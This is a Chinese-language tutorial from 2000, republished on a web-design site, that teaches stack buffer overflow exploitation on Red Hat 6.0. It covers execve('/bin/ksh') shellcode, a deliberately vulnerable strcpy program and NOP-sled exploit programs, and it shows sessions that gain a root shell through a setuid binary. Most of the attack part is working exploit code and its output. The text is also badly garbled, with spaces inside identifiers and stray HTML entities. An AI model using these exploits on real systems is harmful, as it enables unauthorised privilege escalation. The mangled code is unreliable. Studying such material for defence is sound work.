• 主网站
    • 网站案例
    • 域名主机
    • 网站建设
    • 网站推广
    • 系统开发
    • 设计文章
    • 联系我们
    • 网站建设探讨
    • 南京建网站要多少钱
    • 关键字密度与网站排名
    • Google优化网站管理员指导方针
    • 网站建设的五个条件
    • 网站的生存和发展探讨
    • 网站结构和交互性的探讨
    • shellcode技术探讨续二
    • 商务网站建设的探讨
    • 水利政府部门网站建设探讨
    • 网络策划九问?
    • 网管必备之十问十答 ......
    • WEB2.0的神话
    • 为什么要进行网站推广?
    • shellcode技术探讨续二 -- (网站建设探讨)

    •     以XML样式显示

      shellcode技术探讨续二
      发布日期: 2000- 1-25
      内容:
      ------------- ------------------------------ ------------------------------ -------


      来源:<
      > ;

       

      概述:

      本文给出 一个完整的利用缓冲区溢出取得root shell的
       示例,只要你照着步骤一步步下来,就不会觉得它的神秘,
      而我的意图正在于此。如果看不明白什么地方,可以在这里< br>提问,mail to: ,或者到绿色兵团的
      Unix安全论坛上提问,tt在那里。水木清华97年以前就 大范
      围高水平讨论过缓冲区溢出,你没赶上只能怪自己 生不逢时。

      测试:

      RedH at 6.0/Intel PII

      目录:

      1.先来看一次缓冲区溢出
      2.研 究这个溢出
      3.修改代码加强理解
      4. 进一步修改代码
      5.还想到什么
      6. 堆栈可执行
      7.一个会被缓冲区溢出攻击的程序例 子
      8.利用缓冲区溢出取得shell
       9.分析取得shell失败的原因
      10. 危险究 在于什么
      11. 待溢出缓冲区不足以容纳shel lcode时该如何溢出
      12. 总结与思考

      1. 先来看一次缓冲区溢出

      vi sh elltest.c

      /* 这是原来的shell code */
      /*
      char shellcod e[] =
      "
      \xeb\x1f\x5e \x89\x76\x08\x31\xc0\x88\x46\x 07\x89\x46\x0c\xb0\x0b"
      < br>"
      \x89\xf3\x8d\x4e\x0 8\x8d\x56\x0c\xcd\x80\x31\xdb\ x89\xd8\x40\xcd"

      &q uot;
      \x80\xe8\xdc\xff\xff\xff/b in/sh"
      ;

      */

      /* 这是我们昨天自己得到的shellcode */
      cha r shellcode[] =
      "
      \x eb\x1f\x5e\x89\x76\x09\x31\xc0 \x88\x46\x08\x89\x46\x0d\xb0\x 0b"

      "
      \x89\xf3\x 8d\x4e\x09\x8d\x56\x0d\xcd\x80 \x31\xdb\x89\xd8\x40\xcd"

      "
      \x80\xe8\xdc\xff\x ff\xff/bin/ksh"
      ;


      c har large_string[128];


      int main ()
      {
      char buffer[96];

      inti;

      long * long_ptr = ( long * ) large_string;


      for ( i = 0;
      i <
      32;
      i++ )
       {
      /* 用buffer地址一路填写large _string,一个指针占用4个字节 */
      * ( long_ptr + i ) = ( int )buff er;

      }
      for ( i = 0;
      i <
      strlen( shellcode );
      i++ )
      {
      large_string [ i ] = shellcode[ i ];

      }
      /* 这个语句导致main()的返回地址被修改指 向buffer */
      strcpy( buffer , large_string );

      }

      gcc -o shelltest shelltest.c./shelltest
      exit

      这 个程序所做的是,在large_string中填入buffer 的地址,并把shell代码
      放到large_stri ng的前面部分。然后将large_string拷贝到buff er中,造成它溢
      出,使返回地址变为buffer,而 buffer的内容为shell代码。这样当程序试图从
      main()中返回时,就会转而执行shell。
      < br>scz注:原文有误,不是试图从strcpy()返回,而 是试图从main()返回,必须
       区别这两种说法 。

      2. 研究这个溢出

      在she llcode后面大量追加buffer指针,这是程序的关键所在 ,只有这样才能
      使得buffer指针覆盖返回地址。其次 ,返回地址是四字节四字节来的,所以
      在程序中出现的12 8和96不是随便写的数字,这些4的整数倍的数字保证了
      在strcpy()调用中能恰好对齐位置地覆盖掉返回地址,否则 前后一错位就
      不是那么回事情了。

      要理解 程序的另外一个关键在于,堆是位于代码下方栈上方的。所以buf fer
      的溢出只会朝栈底方向前进,并不会覆盖掉main ()函数本身的代码,也是附和
      操作系统代码段只读要求的 。不要错误地怀疑main()函数结束处的ret语句会
      被覆盖,切记这点。很多阅读该程序的兄弟错误地认为buffer 位于代码段中,
      于是一路覆盖下来破坏了代码本身,昏倒。

      3. 修改代码加强理解

      我们先 只做一个修改:

      for ( i = 0;
      i <
      32;
      i++ )
      {
       /* 用shellcode地址一路填写large_str ing,一个指针占用4个字节 */
      *( lo ng_ptr + i ) = ( int )shellcod e;

      }

      返回地址被覆盖成shell code指针,同样达到了取得shell的效果。

      4. 进一步修改代码

      char shellc ode[] =
      "
      \xeb\x1f\x 5e\x89\x76\x09\x31\xc0\x88\x46 \x08\x89\x46\x0d\xb0\x0b"

      "
      \x89\xf3\x8d\x4e\x 09\x8d\x56\x0d\xcd\x80\x31\xdb \x89\xd8\x40\xcd"

      &q uot;
      \x80\xe8\xdc\xff\xff\xff/b in/ksh"
      ;


      char larg e_string[128];


      int mai n ()
      {
      char buffer[9 6];

      inti;

      long * long_ptr = ( long * )large_st ring;


      for ( i = 0;
      i <
      32;
      i++ )
      {
       /* 用shellcode地址一路填写large_stri ng,一个指针占用4个字节 */
      *( lon g_ptr + i ) = ( int )shellcode ;

      }
      /* 这个语句导致main()的 返回地址被修改指向buffer */
      strcpy ( buffer, large_string );

      }

      啊哈,还是达到了效果。完全没有必要把shel lcode拷贝到buffer中来嘛,定义
      buffer 的作用就是利用获得堆指针进而向栈底进行覆盖,达到覆盖返回 地址
      的效果。

      5. 还想到什么

      既然buffer本身一钱不值,为什么要定义那么大,缩 小它!

      char shellcode[] =
      "
      \xeb\x1f\x5e\x89\x 76\x09\x31\xc0\x88\x46\x08\x89 \x46\x0d\xb0\x0b"

      &q uot;
      \x89\xf3\x8d\x4e\x09\x8d\x 56\x0d\xcd\x80\x31\xdb\x89\xd8 \x40\xcd"

      "
      \x80 \xe8\xdc\xff\xff\xff/bin/ksh&q uot;
      ;


      char large_string [12];
      /* 修改 */

      int main ()
      {
      char buffer[4] ;
      /* 修改 */
      inti;

       long * long_ptr = ( long * )la rge_string;


      for ( i = 0;
      i <
      3;
      i++ )/* 修改 */< br>{
      /* 用shellcode地址一 路填写large_string,一个指针占用4个字节 */< br>*( long_ptr + i ) = ( i nt )shellcode;

      }
      /* 这个语句导致main()的返回地址被修改指向buffer * /
      strcpy( buffer, large_s tring );

      }

      打住,再修改就失去 研究的意义了。

      6. 堆栈可执行

      在这里我们需要解释一个概念,什么叫堆栈可执行。
      按照 上述第1条目中给出的代码,实际上shellcode进入了堆区 甚至栈区,
      终被执行的是堆栈中的数据,所谓堆栈可执行 ,大概是说允许堆栈中
      的数据被作为指令执行。之所以用大 概这个词,因为我自己对保护模式
      汇编语言不熟悉,不了解 具体细节,请熟悉的兄弟再指点。许多操作系
      统可以设置系 统参数禁止把堆栈中的数据作为指令执行,比如solaris中可以在/etc/system中设置:

      * Foil certain classes of bug e xploits
      set noexec_user_sta ck = 1

      * Log attempted exploits
      set noexec_user_st ack_log = 1

      Linux下如何禁止堆 栈可执行我也没仔细看过相关文档,谁知道谁就说
      一声吧。

      按照上述第3条目及其以后各条目给出的代码,实 际上执行了位于数据段
      .data中的shellcode 。我不知道做了禁止堆栈可执行设置之后,能否阻止
      数据段 可执行?谁了解保护模式汇编,给咱们讲讲。

      即使 这些都被禁止了,也可以在代码段中嵌入shellcode,代码 段中的
      shellcode是一定会被执行的。
      < br>可是,上面的讨论忽略了一个重要前提,我们要溢出别人的函 数,而
      不是有源代码供你修改的自己的函数。在这个前提下 ,我们可能利用的
      就是种方式了,明白?
      < br>7. 一个会被缓冲区溢出攻击的程序例子

      我们仅仅明白了如何利用缓冲区溢出修改函数的返回地址而已。可前 面修改的
      是我们自己的main()函数返回地址,没有用 。仔细想想,如果执行一个suid了
      的程序,该程序的m ain()函数实现中有下述代码:

      /* gcc -o overflow overflow.c */
      int main ( int argc, char * ar gv[] )
      {
      char buffer[ 16 ] = "
      "
      ;

      if ( argc >
      1 )
      {
       strcpy( buffer, argv[1] );

      puts( buffer );

      }
      else
      {
      puts( &qu ot;
      Argv[1] needed!"
      );

      }
      return 0;

      }
      [scz@ /home/scz/src]>
      ./o verflow 0123456789abcdefghi
      0123456789abcdefghi
      [scz@ /home/scz/src]>
      ./overflow 0123456789abcdefghij
      012345 6789abcdefghij
      Segmentation fault (core dumped)
      [scz@ /home/scz/src]>
      ./overflow 0123456789abcdefghijk
      01234 56789abcdefghijk
      BUG IN DYN AMIC LINKER ld.so: dl-runtime. c: 61: fixup: Assertion `((rel oc->
      r_info) & 0xff) == 7 9;
      failed!
      [scz@ /home/scz/ src]>
      ./overflow 0123456789 abcdefghijkl
      0123456789abcd efghijkl
      Segmentation fault (core dumped)
      [scz@ /home/ scz/src]>
      gdb overflow
      G NU gdb 4.17.0.11 with Linux su pport
      This GDB was configur ed as "
      i386-redhat-linux& quot;
      ..
      (gdb) target core c ore <
      -- -- -- 调入core文件
      Core was generated by `./overf low 0123456789abcdefghijkl' ;
      .
      Program terminated with signal 11, Segmentation fault.
      Reading symbols from /lib/ libc.so.6...done.
      Reading s ymbols from /lib/ld-linux.so.2 ...done.
      #00x40006c79 in _ dl_load_cache_lookup (name=Can not access memory at address 0 x6a69686f.
      ) at ../sysdeps/ generic/dl-cache.c:202
      ../s ysdeps/generic/dl-cache.c:202: No such file or directory.
      (gdb) detach <
      -- -- -- 卸掉 core文件
      No core file now.
      (gdb)

      8. 利用缓冲区溢出取得she ll

      /* gcc -o overflow_e x overflow_ex.c */

      #def ine BUFFER_SIZE256
      #defin e DEFAULT_OFFSET 64

      uns igned long get_esp ()
      {
      __asm__
      ("

       movl %esp, %eax
      "
      );

      }

      int main ( int a rgc, char * argv[] )
      {
      < br>char shellcode[] =
       "
      \xeb\x1f\x5e\x89\x76\x 09\x31\xc0\x88\x46\x08\x89\x46 \x0d\xb0\x0b"

      &quo t;
      \x89\xf3\x8d\x4e\x09\x8d\x56 \x0d\xcd\x80\x31\xdb\x89\xd8\x 40\xcd"

      "
      \x80 \xe8\xdc\xff\xff\xff/bin/ksh&q uot;
      ;


      char *buff er = 0;

      unsigned long * pAddress = 0;

      char * pChar= 0;

      int i;

      int offset = DEF AULT_OFFSET;


      buffer = ( char * )malloc( BUFFER_SIZE * 2 + 1 );

      if ( buffer = = 0 )
      {
      puts( &quo t;
      Can'
      t allocate memory&qu ot;
      );

      exit( 0 );

       }
      pChar = buffer;

      / * fill start of buffer with no ps */
      memset( pChar, 0x90 , BUFFER_SIZE - strlen( shellc ode ) );

      pChar += ( BUFFE R_SIZE - strlen( shellcode ) ) ;

      /* stick asm code into the buffer */
      for ( i = 0;
      i <
      strlen( shellcode ) ;
      i++ )
      {
      *( pChar ++ ) = shellcode[ i ];

      }< br>pAddress = ( unsigned lon g * )pChar;

      for ( i = 0 ;
      i <
      ( BUFFER_SIZE / 4 );
      i ++ )
      {
      *( pAddress ++ ) = get_esp() + offset;

      }
      pChar= ( char * )pAd dress;

      *pChar = 0;

       execl( "
      /home/scz/src/ove rflow"
      , "
      /home/scz/s rc/overflow"
      , buffer, 0 ) ;

      return 0;

      }

      程 序中get_esp()函数的作用就是定位堆栈位置。首先分配一 块内存buffer,然后在buffer的前面部分
      填满 NOP,后面部分放shellcode。后部分是希望程序返回 的地址,由栈顶指针加偏移得到。当以buffer
      为参数 调用overflow时,将造成overflow程序的缓冲区溢 出,其缓冲区被buffer覆盖,而返回地址将指向
      NO P指令。

      [scz@ /home/scz/sr c]>
      gcc -o overflow_ex over flow_ex.c
      [scz@ /home/scz/s rc]>
      ./overflow_ex
      ... . ..
      .../bin/ksh...
      ... .. .
      Segmentation fault (core dumped)
      [scz@ /home/scz/src ]>


      失败,虽然发生了溢出,却没有取得 可以使用的shell。

      9. 分析取得shel l失败的原因

      条目7中给出的源代码表明over flow.c只提供了16个字节的缓冲区,
      按照我们前面 讨论的溢出技术,overflow_ex导致overflow的 main()函数的返回地址被0x90覆盖,
      没有足够空 间存放shellcode。

      让我们对overf low.c做一点小小的调整以迁就overflow_ex.c的 成功运行:

      old:char buffer [ 16 ] = "
      "
      ;

      new: char buffer[ 256 ] = "
      & quot;
      ;


      [scz@ /home/scz/ src]>
      ./overflow_ex
      ... ... <
      -- -- -- NOP指令的汉字显示.../bin/ksh...
      ... ... &l t;
      -- -- -- 返回地址的汉字显示
      $ exi t <
      -- -- -- 取得了shell
      [s cz@ /home/scz/src]>


      10. 危险究在于什么

      假设曾经发生过这样 的操作:

      [root@ /home/scz/s rc]>
      chown root.root overfl ow
      [root@ /home/scz/src]> ;
      chmod +s overflow
      [root@ /home/scz/src]>
      ls -l overf low
      -rwsr-sr-x 1 root ro ot overflow
      [root@ /home/sc z/src]>


      好了,麻烦就是这样开始的 :

      [scz@ /home/scz/src]& gt;
      ./overflow_ex
      ... ... & lt;
      -- -- -- NOP指令的汉字显示
      ... /bin/ksh...
      ... ... <
      -- -- -- 返回地址的汉字显示
      # id <
      -- -- -- 你得到了root shell,看看你是谁吧
      uid=500(scz) gid=100(users ) euid=0(root) egid=0(root) gr oups=100(users)
       ~~~~~~~~~~~~~~~~~~~~~~~~~ 昏 倒
      # exit
      [scz@ /home/scz /src]>
      id
      uid=500(scz) g id=100(users) groups=100(users )
      [scz@ /home/scz/src]>


      至此你应该明白如何书写自己的shellcod e,如何辨别一个shellcode是否
      真正是在提供s hell而不是木马,什么是缓冲区溢出,究如何利用缓冲区溢出,什么情况下的缓冲区溢出对攻击者非常有利,suid/ sgid程序的危险
      性等等。于是你也明白了,为什么某些 exploit出来之后如果没有补丁,
      一般都建议你先c hmod -s,没有什么奇怪,虽然取得shell,但不是root shell而已。

      11. 待溢出 缓冲区不足以容纳shellcode时该如何溢出

      vi overflow.c

      /* gcc - o overflow overflow.c */
      in t main ( int argc, char * argv [] )
      {
      char buffer[ 9 ] = "
      "
      ;

      if ( a rgc >
      1 )
      {
      str cpy( buffer, argv[1] );

       puts( buffer );

      }
      e lse
      {
      puts( "
      Argv[1] needed!"
      );

       }
      return 0;

      }

      - ------------------------------ --------

      vi overflow_ex .c

      /* gcc -o overflow_e x overflow_ex.c */

      #def ine BUFFER_SIZE256

      /* 取栈基指针 */
      unsigned long get _ebp ()
      {
      __asm__
      ("

      movl %ebp, %e ax
      "
      );

      }

      int main ( int argc, char * ar gv[] )
      {

      char shel lcode[] =
      "
      \xeb\x 1f\x5e\x89\x76\x09\x31\xc0\x88 \x46\x08\x89\x46\x0d\xb0\x0b&q uot;

      "
      \x89\xf3\x8d \x4e\x09\x8d\x56\x0d\xcd\x80\x 31\xdb\x89\xd8\x40\xcd"
      "
      \x80\xe8\xdc\xff\x ff\xff/bin/ksh"
      ;


       char *buffer = 0;

       unsigned long * pAddress = 0;

      char *pChar= 0;
      int i;


      buf fer = ( char * )malloc( BUFFER _SIZE * 2 + 1 );

      if ( buf fer == 0 )
      {
      puts( "
      Can'
      t allocate memo ry"
      );

      exit( 0 );
      < br>}
      pAddress = ( unsi gned long * )buffer;

      for ( i = 0 ;
      i <
      ( BUFFER_SIZE / 4 );
      i++ )
      {
      *( pAddress++ ) = get_ebp() + BU FFER_SIZE;

      }
      pChar = buffer + BUFFER_SIZE;

      /* fill start of buffer with nop s */
      memset( pChar, 0x90, BUFFER_SIZE - strlen( shellco de ) );

      pChar += ( BUFFER _SIZE - strlen( shellcode ) );

      /* stick asm code into the buffer */
      for ( i = 0;
      i <
      strlen( shellcode );
      i++ )
      {
      *( pChar+ + ) = shellcode[ i ];

      }*pChar = 0;

      execl( & quot;
      /home/scz/src/overflow&qu ot;
      , "
      /home/scz/src/overf low"
      , buffer, 0 );

      r eturn 0;

      }

      [scz@ /ho me/scz/src]>
      ./overflow_ex< br>... ... <
      -- -- -- 返回地址的 汉字显示
      ... ... <
      -- -- -- NOP指令的汉字显示
      .../bin/ksh... & lt;
      -- -- -- shellcode的汉字显示
      $ exit <
      -- -- -- 溢出成功,取得s hell
      [scz@ /home/scz/src]&g t;


      warning3注:对于简单的弱点程序, 这种方法是可行的.不过如果问题
      函数有很多参数,并且这 些参数在strcpy()之后还要使用的话,这种方
      法就 很难成功了.
      例如:
      vulnerable_fu nc(arg1,arg2,arg3)
      {
      cha r *buffer[16];

      ...
      strcp y(buffer,arg1);

      ...
      othe r_func(arg2);

      ...
      other_ func(arg3);

      ...
      }
      如果直 接覆盖,就会导致arg1,arg2,arg3也被覆盖,函数就 可能不能正常返回.

      Aleph1的办法是将sh ellcode放到环境变量里传递给有弱点的函数,用环境变量< br>的地址做为返回地址,这样我们可以只用24个字节的buf fer来覆盖掉返回地址,
      而不需要改动参数.
      < br>12. 总结与思考

      上面这些例子本身 很简单,完全不同于那些端复杂的溢出例子。但无论多么
      复杂,其基本原理是一样的。要完成取得root shell 的缓冲区攻击:

      a. 有一个可以发生溢出的 可执行程序,各种Mail List会不断报告新发现的可供 攻击的程序;自己也可以通过某些低级调试手段获知程 序中是否存在容易发生
       溢出的函数调用,这些调试 手段不属于今天讲解范畴,以后再提。
      b. 该程序是 root的suid程序,用ls -l确认。
      c. 普通用户有适当的权限运行该程序。
      d. 编写合理的 溢出攻击程序,shellcode可以从以前成功使用过的例子中 提取。
      e. 要合理调整溢出程序,寻找(或者说探测 )main()函数的返回地址存放点,找到
       它并 用自己的shellcode地址覆盖它;这可能需要很大的耐心和 毅力。

      从这些简单的示例中看出,为了得到一 个可成功运行的exploit,攻击者们付出过太
      多 心血,每一种技术的产生和应用都是各种知识长期积累、自己不断总 结、大家群策
      群力的结果,如果认为了解几个现成的b ug就可以如何如何,那是种悲哀。

      后记:

      颠峰时刻的水木清华的确不是其他站点可以大范围 越的,尽管在某些个别版面上
      存在着分庭抗礼。如果你 想了解系统安全,应该从水木清华 Hacker 版98.6以前 的
      所有精华区打包文件开始,那些旧日的讨论和技术文 章在现在看来也值得初学者仔
      细研读。

      文章的宗旨并不是教你进行实际破坏,但你掌握了这种技术, 或者退一步,了解过这
      种技术,对于狂热爱好计算机技 术的你来说,不是什么坏事。也许在讨论它们的时候,
       某些人企图阻止过你了解它们,或者当你想了解它们的时候,有人给 你带来过不愉快
      的感受,忘记这些人,just do it! 只是你还应该明白一些事实,看过<
      <
      这个 杀手不
      太冷>
      >
      没有,no child ren、no women,我想说的不是这个,但你应该明白我想 说什么。
      Good luck for you.< br>